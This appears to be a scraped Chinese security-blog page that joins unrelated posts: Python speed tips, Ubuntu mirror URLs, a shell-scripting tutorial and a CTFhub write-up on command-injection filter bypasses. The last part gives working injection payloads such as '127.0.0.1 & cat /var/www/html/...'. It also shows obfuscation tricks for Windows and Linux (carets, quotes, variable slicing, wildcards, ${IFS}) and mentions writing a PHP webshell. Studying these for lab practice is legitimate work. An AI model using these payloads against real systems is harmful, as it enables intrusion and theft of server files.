泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - RCE
Python很慢？这十个方法让你的代码执行速度提升3倍！
前言Python，作为一种动态类型的解释性语言，确实在执行速度上可能不如C这样的静态类型的编译语言。但是，通过一些技巧和策略，我们可以显著提升Python代码的性能。本文将探讨如何通过优化方法使Python代码运行得更快、更高效。我们将利用Python的timeit模块来精确测量代码的执行时间。注意：timeit模块在默认情况下会重复执行代码一百万次，以确保测量结果的准确性和稳定性def print_hi(name): print(f'Hi, {name}') if __name__ == '__main__': # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit()如何计算Python脚本的运行时间呢？在time模块中time.perf_counter()提供了一个高精度的计时器，适合测量短时间，例如import time # 记录程序开始时间 start_time = time.perf_counter() # 你的代码逻辑 # ... # 记录程序结束时间 end_time = time.perf_counter() # 计算程序运行时间 run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")介绍一、I/O密集型操作I/O密集型操作（Input/Output Intensive Operation）指的是那些在执行过程中，大部分时间都花在等待输入/输出操作完成的程序或任务。I/O操作包括从磁盘读取数据、写入数据到磁盘、网络通信等。这些操作通常涉及到硬件设备，因此它们的执行速度受到硬件性能和I/O带宽的限制。他们的特点有：\1. 等待时间：程序在执行I/O操作时，往往需要等待数据从外部设备传输到内存，或从内存传输到外部设备，这会导致程序的执行被阻塞。\2. CPU利用效率：由于I/O操作的等待时间，CPU在这段时间内可能处于空闲状态，导致CPU利用率不高。\3. 性能瓶颈：I/O操作的速度往往成为程序性能的瓶颈，尤其是在数据量大或传输速度慢的情况下。例如，使用I/O密集型操作print，运行一百万次import time import timeit def print_hi(name): print(f'Hi, {name}') return if __name__ == '__main__': start_time = time.perf_counter() # 执行print_hi('PyCharm')方法 t = timeit.Timer(setup='from __main__ import print_hi', stmt='print_hi("PyCharm")') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒")运行结果为3s而不使用i/o操作执行一个方法，即调用这个print_hi('xxxx')空方法，不使用print()，程序明显快了不少def print_hi(name): # print(f'Hi, {name}') return如果代码中必要的时候，例如文件读写，可以使用如下方法提高效率异步I/O：使用异步编程模式例如asyncio，允许程序在等待I/O操作完成时继续执行其他任务，从而提高CPU利用率。缓冲：使用缓冲区暂存数据，减少I/O操作的频率。并行处理：并行执行多个I/O操作，以提高整体的数据处理速度。优化数据结构：选择合适的数据结构，减少数据的读取和写入次数。二、使用生成器生成列表、字典在Python 2.7及其后续版本中，引入了对列表、字典和集合生成器的改进，这些改进让数据结构的构建过程更加简明和高效。1、传统方法def fun1(): list=[] for i in range(100): list.append(i) if __name__ == '__main__': start_time = time.perf_counter() t = timeit.Timer(setup='from __main__ import fun1', stmt='fun1()') t.timeit() end_time = time.perf_counter() run_time = end_time - start_time print(f"程序运行时间：{run_time} 秒") # 输出结果：程序运行时间：3.3872999000595883 秒2、使用生成器优化代码注：为了方便以下内容皆省略主函数main的代码部分def fun1(): list=[ i for i in range(100)] # 程序运行时间：2.1053185999626294 秒从上述的推导式程序中可以看出，除了理解更简洁、更容易阅读之外，它也更快。这使得此方法成为生成列表和循环的首选方法。三、避免字符串连接，使用join()join() 是一个字符串方法，在Python中用于将序列中的元素连接（或拼接）成一个字符串，通常使用特定的分隔符。他的优点通常为：\1. 效率高：join() 是连接字符串的高效方法，尤其是当处理大量字符串时，它通常比使用 + 操作符或 % 格式化更快，在连接大量字符串时，join() 方法通常比逐个连接更节省内存。\2. 简洁性：join() 使得代码更加简洁，避免了重复的字符串连接操作。\3. 灵活性：可以指定任何字符串作为分隔符，这为字符串拼接提供了极大的灵活性。\4. 广泛的用途：不仅可以用于字符串，还可以用于列表、元组等序列类型，只要元素可以被转换成字符串。举例：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] s="" for i in obj: s+=i # 程序运行时间：0.3610708999913186 秒使用 join() 来实现字符串拼接：def fun1(): obj=['hellow','my','name','is','xiaoyu','!'] "".join(obj) # 程序运行时间：0.18804279994219542 秒使用join()将函数的执行时间从0.36秒减少到0.18秒。四、使用Map代替循环在多数场景中，传统的for循环可以被更为高效的map()函数所替代。map()*是一个Python内置的*高阶函数，它能够将指定的函数应用于各种可迭代的数据结构，如列表、元组或字符串。使用map()的主要优势在于，它提供了一种更为简洁且高效的数据处理方式，避免了编写显式的循环代码。传统的循环方式：def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] new = [] for i in arr: new.append(i) # 程序运行时间：0.31288250000216067 秒使用map()函数做相同的功能：def fun2(x): return x def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] map(fun2,arr) # 程序运行时间：0.18387670000083745 秒对比之后，使用map()节省了将近一半的时间，大大提升了运行效率五、选择正确的数据结构选用恰当的数据结构对提升Python代码的执行效率至关重要。各类数据结构都针对特定操作进行了优化，合理选择能够加速数据的检索、添加和移除过程，进而增强程序的整体运行效能。例如，判断容器内的元素的时候，字典的查找效率高于列表，但是是在大量数据的情况下，少量数据恰恰相反# 使用少量数据进行测试 def fun1(): arr=["hello", "my", "name", "is", "xiaoyu", "!"] 'hello' in arr 'my' in arr # 程序运行时间：0.11527379998005927 秒 def fun1(): arr={"hello", "my", "name", "is", "xiaoyu", "!"} 'hello' in arr 'my' in arr # 程序运行时间：0.17057139997836202 秒 # 使用 numpy 进行随机生成100个整数 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：14.48330469999928 秒 def fun1(): nums = {i for i in np.random.randint(100, size=100)} 1 in nums # 程序运行时间：13.411826699972153 秒看到了在少量数据的情况下list执行效率是要大于dict的，但是在大量数据的情况下，dict的效率大于list如果有频繁的新增、删除操作，新增、删除的元素数量又很多时，list的效率不高。此时，应该考虑使用collections.deque。collections.deque是双端队列，同时具备栈和队列的特性，能够在两端进行 O(1)复杂度的插入和删除操作。collections.deque的使用from collections import deque def fun1(): arr=deque()# 创建一个空的deque for i in range(1000000): arr.append(i) # 程序运行时间：0.05507110000002058 秒 def fun1(): arr=[] for i in range(1000000): arr.append(i) # 程序运行时间：0.06128990000001977 秒list的查找操作也非常耗时。当需要在list频繁查找某些元素，或频繁有序访问这些元素时，可以使用bisect维护list对象有序并在其中进行二分查找，提升查找的效率。六、避免不必要的函数调用在Python编程中，优化函数调用次数对于提升代码效率至关重要。过多的函数调用不仅增加了开销，还可能消耗额外的内存，从而拖慢程序的运行速度。为了提升性能，我们应尽量减少不必要的函数调用，并尝试将多个操作合并成一个，以此来减少执行时间和资源消耗。这样的优化策略有助于我们编写更高效、更快速的代码。七、避免不必要的import虽然Python的import语句相对较快，但每个import都会涉及到查找模块、执行模块代码（如果还没有被执行过）、并将模块对象放入到当前命名空间中。这些操作都需要一定的时间和内存。当你不必要地导入模块时，就会增加这些开销。八、避免使用全局变量import math size=10000 def fun1(): for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：15.630933800013736 许多程序员刚开始会用 Python 语言写一些简单的脚本，当编写脚本时，通常习惯了直接将其写为全局变量，例如上面的代码。但是，由于全局变量和局部变量实现方式不同，定义在全局范围内的代码运行速度会比定义在函数中的慢不少。通过将脚本语句放入到函数中，通常可带来 15% - 30% 的速度提升。import math def fun1(): size = 10000 for i in range(size): for j in range(size): z = math.sqrt(i) + math.sqrt(j) # 程序运行时间：14.933845699997619 秒九、避免模块和函数属性访问import math # 不推荐写法 def fun2(size: int): result = [] for i in range(size): result.append(math.sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：10.154493000009097 秒每次使用.（属性访问操作符时）会触发特定的方法，如__getattribute__()和__getattr__()，这些方法会进行字典操作，因此会带来额外的时间开销。通过from import语句，可以消除属性访问。from math import sqrt # 推荐写法：用到哪个模块就导哪个模块 def fun2(size: int): result = [] for i in range(size): result.append(sqrt(i)) return result def fun1(): size = 10000 for _ in range(size): result = fun2(size) # 程序运行时间：8.960758000030182 秒十、减少内层for循环的计算import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): for y in range(size): z = sqrt(x) + sqrt(y) # sqrt() 求非负实数的平方根 # 程序运行时间：14.267008299939334 秒在上面代码中sqrt(x)位于内测for循环，每次循环都会重新计算，增加不必要的时间开销import math def fun1(): size = 10000 sqrt = math.sqrt for x in range(size): sqrt_x=sqrt(x) # 在外层for循环进行计算 for y in range(size): z = sqrt_x + sqrt(y) # 程序运行时间：8.499037600005977 秒总结通过这些方法，我们可以有效地提高Python代码的性能，使其在处理复杂任务时更加快速和高效。记住，性能优化是一个持续的过程，需要根据具体情况不断调整和改进，python运行速度的优化方法不限于以上方法，还有很多，如有大佬路过，请多指教。
软件源镜像地址（用于 /etc/apt/sources.list）镜像站软件源地址阿里云http://mirrors.aliyun.com/ubuntu/清华大学https://mirrors.tuna.tsinghua.edu.cn/ubuntu/中科大https://mirrors.ustc.edu.cn/ubuntu/网易http://mirrors.163.com/ubuntu/华为云https://mirrors.huaweicloud.com/ubuntu/腾讯云https://mirrors.cloud.tencent.com/ubuntu/搜狐http://mirrors.sohu.com/ubuntu/南京大学https://mirrors.nju.edu.cn/ubuntu/上海交通大学https://mirrors.sjtug.sjtu.edu.cn/ubuntu/浙江大学http://mirrors.zju.edu.cn/ubuntu/重庆大学http://mirrors.cqu.edu.cn/ubuntu/兰州大学http://mirror.lzu.edu.cn/ubuntu/哈尔滨工业大学https://mirrors.hit.edu.cn/ubuntu/北京外国语大学https://mirrors.bfsu.edu.cn/ubuntu/中国科学技术大学https://mirrors.ustc.edu.cn/ubuntu/ （同上）清华大学开源软件镜像站https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ （同上）Ubuntu ISO 镜像下载地址镜像站ISO 目录地址阿里云https://mirrors.aliyun.com/ubuntu-releases/清华大学https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/中科大https://mirrors.ustc.edu.cn/ubuntu-releases/网易http://mirrors.163.com/ubuntu-releases/华为云https://mirrors.huaweicloud.com/ubuntu-releases/腾讯云https://mirrors.cloud.tencent.com/ubuntu-releases/南京大学https://mirrors.nju.edu.cn/ubuntu-releases/上海交通大学https://mirrors.sjtug.sjtu.edu.cn/ubuntu-releases/浙江大学http://mirrors.zju.edu.cn/ubuntu-releases/重庆大学http://mirrors.cqu.edu.cn/ubuntu-releases/兰州大学http://mirror.lzu.edu.cn/ubuntu-releases/哈尔滨工业大学https://mirrors.hit.edu.cn/ubuntu-releases/北京外国语大学https://mirrors.bfsu.edu.cn/ubuntu-releases/3. 其他说明软件源 地址通常直接写入 /etc/apt/sources.list，替换 archive.ubuntu.com 或 ports.ubuntu.com。ISO 镜像 地址可直接在浏览器中访问，选择需要的版本（如 22.04/、24.04/）下载。部分镜像站（如清华、中科大、阿里云）同时提供 arm64/ppc64el 等架构的软件源，适合树莓派等设备。如果您的网络在教育网内，推荐使用教育网镜像（如清华、中科大、上海交大等），速度更快。如需特定版本或架构的源配置，可参考各镜像站的官方帮助页面。
kali Linux Shell编程：基础到进阶在Linux系统中，shell编程是一项基本技能，它不仅能够提高系统操作效率，还能让你更好地理解和掌控Linux。本文将带领你从shell编程的基础入门，逐步进阶到复杂应用，通过改写和扩展原有内容，使内容更加丰富且保持低重复率。一、Shell编程基础1. Shell简介Shell是一种命令行界面，用于用户与操作系统进行交互。它也是一种脚本语言，允许用户编写程序自动执行一系列命令。Linux系统中常见的Shell类型包括bash、zsh、csh等，其中bash是最常用的Shell之一。代码示例：#!/bin/bash echo "Hello, Shell World!"以上脚本使用bash Shell，打印“Hello, Shell World!”。2. 创建和执行Shell脚本创建Shell脚本的第一步是创建一个文本文件，并写入Shell命令。然后，你需要给这个文件添加执行权限，最后通过终端执行它。示例步骤：使用文本编辑器（如vim或nano）创建脚本文件，例如hello.sh。在文件中写入以下内容：#!/bin/bash # A simple hello world script echo "Hello, World from a Shell Script!"保存并退出编辑器。给脚本文件添加执行权限：chmod +x hello.sh。执行脚本：./hello.sh。3. Shell脚本的基本语法Shell脚本的基本语法包括变量定义、条件语句、循环语句等。变量定义与使用：#!/bin/bash # Define a variable name="John Doe" # Use the variable echo "Hello, $name!"条件语句：Shell脚本中的条件语句主要有if、elif、else。#!/bin/bash # Check the number of arguments if [ $# -eq 0 ]; then echo "No arguments provided." elif [ $# -eq 1 ]; then echo "One argument provided: $1" else echo "Multiple arguments provided." fi4. Shell中的循环Shell支持多种循环，包括for循环和while循环。For循环：#!/bin/bash # Loop through numbers 1 to 5 for i in {1..5}; do echo "Number $i" doneWhile循环：#!/bin/bash counter=1 while [ $counter -le 5 ]; do echo "Number $counter" ((counter++)) done二、Shell编程进阶1. 函数定义与调用在Shell脚本中，函数允许你将代码块封装起来，以便在脚本中重复使用。#!/bin/bash # Define a function greet() { echo "Hello, $1!" } # Call the function greet "Alice" greet "Bob"2. 数组的使用Shell脚本支持一维数组，可以通过索引来访问数组元素。#!/bin/bash # Declare an array fruits=("Apple" "Banana" "Cherry") # Iterate through the array for fruit in "${fruits[@]}"; do echo "$fruit" done3. 正则表达式与文本处理Shell脚本中可以使用正则表达式来匹配文本字符串。grep命令是处理文本和正则表达式的好帮手。#!/bin/bash # Use grep to find lines containing 'error' grep "error" log.txt使用awk和sed工具可以进行更复杂的文本处理。使用awk处理文本：#!/bin/bash # Print the first and third fields of each line in a file awk '{print $1, $3}' file.txt4. 读取用户输入Shell脚本可以读取用户输入，用于交互式操作。#!/bin/bash # Read user input echo "Enter your name: " read name echo "Hello, $name!"5. 文件与目录操作Shell脚本提供了丰富的命令来操作文件和目录，如ls、cp、mv、rm等。列出当前目录下的所有文件：#!/bin/bash # List all files in the current directory ls -l复制文件：#!/bin/bash # Copy a file cp source.txt destination.txt6. Shell脚本的调试调试Shell脚本时，可以使用-x选项来跟踪脚本的执行过程。bash -x script.sh三、高级Shell编程技巧1. 子Shell与进程控制在Shell脚本中，可以通过括号()来创建一个子Shell，子Shell会继承父Shell的环境，但在子Shell中做的任何修改都不会影响到父Shell。#!/bin/bash # Create a subshell (cd /tmp; ls)2. 陷阱信号与信号处理Shell脚本可以捕获和处理系统发出的信号，如SIGINT（通常通过Ctrl+C产生）。#!/bin/bash # Trap SIGINT trap 'echo "Caught SIGINT"; exit' SIGINT echo "Script is running. Try pressing Ctrl+C." while true; do sleep 1 done3. 并发执行与等待Shell脚本可以利用&将命令放入后台执行，并使用wait命令等待后台进程完成。#!/bin/bash # Run commands in the background command1 & command2 & # Wait for all background processes to finish wait结语通过本文的改写和扩展，我们详细探讨了Shell编程的基础和进阶内容，包括变量、条件语句、循环、函数、数组、文本处理、用户输入、文件操作、调试以及高级Shell编程技巧。希望这些内容能够帮助你更好地掌握Shell编程，提高在Linux系统中的工作效率。
从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式，靶场环境为CTFhub，分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤，这几种绕过方式Windows我们在Windows命令行中执行命令的时候，是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前，此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 在命令中"在^之后，且带有参数，则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数，因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令，net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片，代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数，负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令，即使前面那条命令报错，后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令，这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami，这条命令会将ping放在后台执行，这个时候你没有设置ping的次数，就会一直执行下去，停止不了，而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去，也停止不了。。。。 &&连接两个指令的时候，要保证命令两个命令都能正常执行，否则一个错，就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符：用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如，我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符：如果||左边的命令执行失败（返回非零退出状态），那么||右边的命令将会被执行。执行成功一个命令后，后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root ''，()，$，``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1，$*，$@，$n这个n表示除0以外的任意数字，都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root ┌──(root㉿Kali)-[/data] └─# who$4ami root ┌──(root㉿Kali)-[/data] └─# who$*ami root ┌──(root㉿Kali)-[/data] └─# who$@ami root ┌──(root㉿Kali)-[/data] └─# who$0ami who-zshami：未找到命令 Linux通配符我们以执行whoami这个命令来进行测试┌──(root㉿Kali)-[/etc/docker] └─# whereis whoami whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz ┌──(root㉿Kali)-[/etc/docker] └─# /usr/bin/whoam* root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/whoam? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/wh?am? root ┌──(root㉿kali)-[/etc/docker] └─# /usr/bin/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /u?r/b?n/????mi root ┌──(root㉿kali)-[/etc/docker] └─# /*/b?n/????mi root Linux中命令中的命令虽然会报错，但是命令也会正常执行┌──(root㉿kali)-[/etc/docker] └─# `666666` 666666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# 666666`whoami`6666 666666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# `6666`whoami`6666` 6666：未找到命令 6666：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# 6666`whoami`6666 6666root6666：未找到命令 ┌──(root㉿kali)-[/etc/docker] └─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i sfdawfewa：未找到命令 sajfdkljas：未找到命令 sdjflk123：未找到命令 root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf}oam${ddkjdld}i root ┌──(root㉿kali)-[/etc/docker] └─# wh${sdf242341}oam${ddkjdld234232}i root Linux环境变量切割查看环境变量┌──(root㉿251ebe86465a)-[/] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin 查看环境变量的长度┌──(root㉿251ebe86465a)-[/] └─# echo ${#PATH} 60 分割环境变量┌──(root㉿kali)-[/etc/docker] └─# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:10} /usr/local ┌──(root㉿kali)-[/usr/local] └─# echo ${PATH:0:1} / 靶场练习CTFHUB 使用&&符号，没有获取到想要的结果，因为&&在前一个命令没有执行结束的时候，是不会执行后面的命令的。当然还有种思路就是指定次数，使用-c参数，这里是没有效果的┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1004ms rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms ;绕过┌──(root㉿kali)-[~] └─# ping -c 2 127.0.0.1;whoami PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms --- 127.0.0.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1008ms rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms root 使用&也可以得到结果，通过将ping命令放到后台执行，后面的结果也会执行[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags [2] => /sys/devices/platform/serial8250/tty/ttyS0/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags [3] => /sys/devices/platform/serial8250/tty/ttyS3/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags [4] => /sys/devices/platform/serial8250/tty/ttyS1/flags payload：127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags [5] => /sys/devices/virtual/net/tunl0/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags [6] => /sys/devices/virtual/net/lo/flags payload：127.0.0.1 & cat /sys/devices/virtual/net/lo/flags 这些payload都给你们试过了，没有flag不断执行命令，找到这个web目录中有一个数字.php查看即可得知payload127.0.0.1 & cat /var/www/html/17165225371506.php 查看源码过滤cat题目：过滤了cat命令之后，你还有什么方法能读到 Flag?查看目录，他换了个名字没有cat那么在Linux中还有这样几个命令tac命令是cat命令的反向操作，它会按行读取文件内容，但会以相反的顺序输出。这意味着文件的最后一行将首先显示，而第一行将最后显示。127.0.0.1 &tac /var/www/html/flag_9902871730290.php less命令与more命令类似，也是用于分页显示文本文件的内容，但less提供了更多的导航选项，如向前翻页、向后翻页、搜索文本等。127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php head命令用于显示文件的开头部分，默认显示前10行，但可以通过选项指定显示的行数。127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php tail命令用于显示文件的末尾部分，默认显示最后10行，与head命令相对应。它还可以用于实时跟踪文件的新增内容。127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php nl命令与cat -b命令相似，用于显示文件内容并在每行前加上行号，但nl提供了更多的格式化选项。127.0.0.1 & nl /var/www/html/flag_9902871730290.php awk是一个强大的文本处理工具，虽然它主要用于模式扫描和处理语言，但在某些情况下，可以使用awk命令以类似于cat的方式显示文件内容，同时添加额外的文本处理功能。127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php more命令用于分页显示文本文件的内容，用户可以通过按空格键翻页，按b键回退，按q键退出。虽然它主要用于分页查看，但在逐页查看文件内容时，与cat命令直接显示整个文件内容的方式形成对比。127.0.0.1 & more /var/www/html/flag_9902871730290.php 过滤空格分析源码，使用preg_match_all函数检查变量$ip中是否包含空格。空格的绕过方式一般有(针对于本题来讲)1、${IFS}代替空格127.0.0.1&ls${IFS}/var/www/html/2、%09相当于tab键127.0.0.1&ls%09/var/www/html/3、大括号{}127.0.0.1&{ls,/var/www/html/}4、重定向字符> <>举例┌──(root㉿kali)-[/data] └─# ping -c 1 127.0.0.1;ls<>-l PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms 谷歌插件 GitHack -l miku payload：127.0.0.1&ls<>/var/www/html/经过测试，上面四种仅有${IFS}成功完整payload127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php 过滤目录分隔符题目：这次过滤了目录分割符 / ，你能读到 flag 目录下的 flag 文件吗？直接使用ls查看目录，没有东西试试%2F127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml 那我们直接ls使用cd和;进行多行命令执行即可，一级目录一级目录的cd即可127.0.0.1;cd flag_is_here;cat flag_31328570616525.php 过滤运算符题目：过滤了几个运算符, 要怎么绕过呢？分析源码，过滤了运算符，但是也没完全过滤，少了个;;即可127.0.0.1;cat flag_5393398119154.php 往期文章推荐Love-Yi情侣网站存在SQL注入漏洞【kali笔记】 Kali Shell编程从基础到进阶【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南SQL注入绕过某狗的waf防火墙，这一篇就够了，6k文案超详细我的《护网奇遇记》
PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用
